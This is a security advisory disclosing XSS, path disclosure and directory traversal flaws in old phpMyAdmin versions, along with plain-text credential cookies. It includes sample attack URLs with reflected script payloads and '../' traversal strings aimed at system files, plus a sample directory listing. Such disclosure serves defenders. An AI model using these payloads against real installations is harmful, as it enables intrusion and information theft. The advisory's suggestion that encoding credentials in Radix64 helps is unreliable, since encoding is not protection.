phpMyAdmin XSS Vulnerabilities, Transversal Directory Attack , Information Encoding Weakness and Path Disclosures -------------------- Product: phpMyAdmin Vendor: phpMyAdmin Development Team Versions: VULNERABLE - 2.5.2 CVS ( in Development ) - 2.5.x - 2.4.x - 2.3.x - 2.2.x - 2.1.x - 2.0.x - 1.x.x NOT VULNERABLE - ? Advisory: NSRG-15-7 --------------------- Description: phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL over the WWW. Currently it can create and drop databases, create/drop/alter tables, delete/edit/add fields, execute any SQL statement, manage keys on fields. ----------------------------------------- SECURITY HOLES FOUND and PROOFS OF CONCEPT: ----------------------------------------- I encountered Cross Site Scripting Vulnerabilities and Path Disclosures in some files of the phpMyAdmin installation , with this files , sending a specially crafted url you can execute commands in the client side only and show the local path of the phpMyAdmin installation. The failures are related to a input validation flaw and a inproper configuration of php.ini and php configuration declare library ( declare_php.lib.php )in phpMyAdmin for the errors flags. I encountered a very dangerous transversal directory attack in a docSQL import system too. I discover that phpMyAdmin don't encode the mysql user and password , it save the data in plain text without encoding !. ------------------------------- | XSS AND PATH DISCLOSURES | ------------------------------- The affected files of the XSS attack ( Cross Site Scripting ) and Path Disclosure are: - sql.php / sql.php3 - Path Disclosure & XSS- - pdf_schema.php - Path Disclosure & XSS- - pdf_pages.php - Path Disclosure & XSS- - ldi_table.php - Path Disclosure & XSS- - mult_submits.inc.php - Path Disclosure & XSS- - chk_rel.php - Path Disclosure - - db_create.php - Path Disclosure - - db_datadict.php - Path Disclosure & XSS- - db_details.php - Path Disclosure - - db_details_common.php- Path Disclosure - - db_details_db_info.php - Path Disclosure - - db_details_export.php - Path Disclosure - - db_details_structure.php - Path Disclosure - - db_printview.php - Path Disclosure & XSS- - db_search.php - Path Disclosure - - header_printview.inc.php - Path Disclosure - - ldi_check.php - Path Disclosure - - read_dump.php - Path Disclosure & XSS- - tbl_addfield.php - Path Disclosure - - tbl_alter.php - Path Disclosure - - tbl_create.php - Path Disclosure - - tbl_dump.php - Path Disclosure - - tbl_move_copy.php - Path Disclosure - - tbl_printview.php - Path Disclosure - - tbl_properties.inc.php - Path Disclosure - - tbl_properties.php -Path Disclosure - - tbl_properties_common.php -Path Disclosure - - tbl_properties_export.php -Path Disclosure - - tbl_properties_links.php -Path Disclosure - - tbl_properties_operations.php -Path Disclosure - - tbl_properties_options.php -Path Disclosure - - tbl_properties_table_info.php -Path Disclosure - - tbl_query_box.php -Path Disclosure - - tbl_relation.php -Path Disclosure - - tbl_rename.php -Path Disclosure - - tbl_replace.php -Path Disclosure - - tbl_select.php -Path Disclosure - NOTE: The Path Disclosures occur when you access directly the affected file without any QUERY_STRING needing a valid session. The XSS can executed passing crafted query_strings to the php scripts , see Samples for more info about this. VULNERABLE FILES TO PATH DISCLOSURES And XSS THAT DOESN'T NEED A VALID SESSION : - libraries/auth/[cookie.auth.lib.php] - Path Disclosure - - libraries/xpath/[XPath.class.php] - Path Disclosure - - libraries/[ip_allow_deny.lib.php] - Path Disclosure - - libraries/[select_lang.lib.php] - Path Disclosure - - libraries/sqlparser.lib.php - Path Disclosure - - libraries/db_table_exists.lib.php - Path Disclosure - ----------------------------------- | DIRECTORY TRANSVERSAL ATTACK & | | REMOTE LOCAL FILE RETRIEVING & | | REMOTE INTERNAL DIRECTORY LISTING ----------------------------------- I found a dangerous transversal directory attack in the file called db_details_importdocsql.php ( file import systems ) , i explain this failure in the Proof of Concept: ____Proof of Concept______ You must send a crafted request to the db_details_importdocsql.php file : http://localhost/mysql/db_details_importdocsql.php? submit_show=true&do=import&docpath=[YOUR TRANSVERSAL DIRECTORY ATTACK] If you want to do a internal directory listing you must do this request: http://localhost/mysql/db_details_importdocsql.php? submit_show=true&do=import&docpath=../../../ With this request you can list the internal directories in the root dir in a win installation ( normally c:\ ). Note that you can't request files ( only dirs ) with db_details_importdocsql.php if you attempt to get a file you get this message: This was not a Directory . SAMPLE RESULT OF A CGI-BIN DIRECTORY LISTED WITH THIS ATTACK: Server iamnottotallysecured.not Ignoring the file . Ignoring the file .. Ignoring the file phf.cgi // ;-) Ignoring the file dumpenv.pl Ignoring the file test-cgi // ;-) Ignoring the file testcgi.pl // ;-D Ignoring the file wwwboard.pl Ignoring the file count.cgi Ignoring the file php.cgi // ;-D Ignoring the file passwd.pl Ignoring the file admin.cgi Ignoring the file ftp.cgi Ignoring the file formmail.pl // ;-D Ignoring the file proxy.pl _______ Samples: """"""" Note that this paths are from my personal server in my testing lab: The target user or you must be logged in for run the attacks : http://localhost/mysql/sql.php?sql_query=">..<h1>XSS ! Oh my God!</h1> http://localhost/mysql/db_datadict.php?db=XSS http://localhost/mysql/db_details_importdocsql.php? submit_show=true&do=import&docpath=../../../BOOT.ini http://localhost/mysql/read_dump.php? db=nonexistent&sql_query="><h1>XSS</h1> http://localhost/mysql/tbl_properties_links.php? table_info_num_rows=10&url_query="><h1>XSS ------------------ | INFORMATION | | ENCODING | | WEAKNESS | ------------------ phpMyAdmin doesn't use any encoding type like BASE64/RadiX64 , only saves the user data ( username and password too ) in plain text without any encoding. The authentication token in the cookie is this: pma_cookie_username=[UserName]; lang=[language]-iso-8859-1; pma_cookie_password=[your password] A sample is: pma_cookie_username=god; lang=en-iso-8859-1; pma_cookie_password=doesnotexist ----------------- | SOLUTIONS ;-p | ----------------- - First: Redefine the errors flags in php.ini to Off. [Path Disclosures] - Second: Use a partial / secure encoding for athentication tokens like RadiX64 ( not very secure but an attacker can think that is a more secure algorithm , obscurity ;-D ) . - Three: Review the db_details_importdocsql.php file for prevent transversal directory attacks and remote local directory listing. ----------- | CONTACT | ----------- Lorenzo Hernandez Garcia-Hierro --- Computer Security Analyzer --- --Nova Projects Professional Coding-- PGP: Keyfingerprint B6D7 5FCC 78B4 97C1 4010 56BC 0E5F 2AB2 ID: 0x9C38E1D7 ********************************** NSRGroup : http://security.novappc.com are you totally secured ? ______________________